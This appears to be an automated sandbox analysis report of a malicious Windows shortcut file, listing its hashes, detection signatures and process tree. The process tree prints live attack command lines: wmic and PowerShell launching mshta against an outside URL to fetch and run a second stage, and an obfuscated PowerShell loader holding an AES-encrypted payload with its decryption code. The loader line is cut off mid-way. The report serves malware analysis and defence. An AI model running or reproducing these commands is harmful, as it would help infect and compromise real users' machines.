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Windows
Analysis Report
lKin1m7Pf2.lnk
Overview
General Information
Sample name: | lKin1m7Pf2.lnkrenamed because original name is a hash value |
Original sample name: | 2ddf3f1022cce6aa5fd6c09b5275e47e.lnk |
Analysis ID: | 1579656 |
MD5: | 2ddf3f1022cce6aa5fd6c09b5275e47e |
SHA1: | 13c4b35087244077015a33b25d2ab5f054f44988 |
SHA256: | 7ffbec4e1d8aacb3a386573d2c90ab9d1d89605a82ecd7dc524c178377ac6043 |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Contains functionality to create processes via WMI
Creates processes via WMI
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Windows shortcut file (LNK) contains suspicious command line arguments
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
- WMIC.exe (PID: 3524 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ti ffany-care ers.com/du ychuan1')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 5988 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3904 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /tiffany-c areers.com /duychuan1 ') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6200 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ti ffany-care ers.com/du ychuan1" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 4276 cmdline:
"C:\Window s\system32 \mshta.exe " https:// tiffany-ca reers.com/ duychuan1 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 3800 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = 'B82AE EF674EA461 AE377F8820 935DD6157C 01BC158BC1 92B4D1FF27 5835196DB3 3CF9EA1DE8 672BA8F13D 9AC875E580 005F1EEA86 72491F8AE7 9545F0A3E6 D28CDEBD23 FDE238E22E F8A9864B4F BA2FB0AFD2 BA44D7DEE9 A464325841 30E7127CFD 52A4753431 163022C03A F7CC276CE0 CDAE4C73F5 FAC8BAC960 06DF862D81 69BBBE59DE 533B3D81E8 57E95C73B0 4260783980 346063862C 5E612A3A99 4E6BB90426 E91F2B2651 3990DC2C31 2A0AAEEEE1 E2430571B6 262AA184D3 BD5C6F41FA 7366D5B1D3 230EA02D06 6606A12E58 A21B8431BF 617F7D9779 57268A1653 44D1BC58BF F59112747E 8EAA5D777B C05A7ED380 45D53C5DA5 BFAD3E02C9 4ECA70B8C0 9C3B0251F7 DA4DC9D080 054A23130E 31F08E6713 AED726E229 95D4273A7A 841BCC8666 EDCAFE4D29 673B36A820 6C7E3EF3ED 8E01080C46 3A9707900B DBEFA9F99B 4AECD55020 4798892485 F6D659E300 CFE096802C 6439B262A1 2242B1359A 8AD50E5705 DA1F36481A 32BCFA6A84 550378539F 30631F5338 D15EBB8777 EB0C84CC4D 6E54178637 067A553A9E 604C65F3BF 58DD192BEA 48AFBF5556 58EABDC569 7F8D58AD5D 736F382438 D70C4B612E CBFC02FFA5 4DF9E83E7F F840AAEF92 8E8A5E9882 628C6D9379 A91609B607 CB4FF8B760 F7D0C6DBF4 7A7FAC7202 6E33B894AB 8D3FA6A6AE 87F122119C 7B4F7E2D62 775A308A30 2D221EEFE5 F680A2DB16 6C1A1033C0 34B27DE533 1479F36CCD B24CA195EC E0042B52BA 4878C1A8F8 791737C478 75A69DA16D 71E580C06D B3F0AB8EF3 147C23C6FB B2C2C53820 7E15D4D789 CDD0AFC1EF 1F49C1C698 DE94DEF69B C21348FB6B 347482DD33 7FAA5FEA6B 67D3F934BD 5BF565BD06 B122C07EF2 E3FDE1B173 0E2E2E5CE7 1A5AEC4E7A 6FBA6B3801 709F0DD9DA 78A07A71C5 93622EB95A D7BC50F2BB 14E9914924 3677363B48 C9D7A5941A 240076C907 E45503A494 D4B06A3B01 9F2BB7451E 8D82D32F78 67901457CC 272F82CB80 2B79BF2845 527BB746EE DBCF56383F 8F7E1CF75C 01224B66BD E0789795A7 13DC161FF2 B609E9976E 1DF0227469 04D8DC89F8 EE01F04D89 2F37592402 3F6317DB68 3D766704DC C229E3D3EF 1CA3E7E1B3 57A03846B9 2931A33064 4457340BF7 331A6CB573 9F22119D33 470250D705 90A6F1C0A0 8150EEFA53 A0927BB4D1 68D44A2E0B 9B78DE1742 6C1F82271F 18F27203AE E39AEEBE33 0B479B2B38 EE5AA51005 3589FB1166 A4E42792D1 BC64A75A30 3766AC764A 47348073E4 9C426C770F A5B5AEAA2A E449E423CD 3586134065 6797A23C1F D752A26B13 575CE28A73 13CF325080 80F609F9BD 9B56F8F7A6 D04B10CDDC 40B660686C 1C2A6F90B8 CDA50B1EFA 31BF0A1585 2D8D00C56B 7516118FEF 0030E99C46 248CE4B26E 648D5F4911 1F4000436F 9B68A5B806 2614B4E517 9666A71555 6704755565 176';funct ion tKQ ($ VNRiPvLz){ return -sp lit ($VNRi PvLz -repl ace '..', '0x$& ')}; $YYRv = tK Q($ddg.Sub String(0, 2016));$Pk s = [Syste m.Security .Cryptogra phy.Aes]:: Create();$ Pks.Key = tKQ($ddg.S ubString(2 016));$Pks .IV = New- Object byt e[] 16;$ud eEb = $Pks .CreateDec ryptor();$ fBRzq = [S ystem.Stri ng]::new($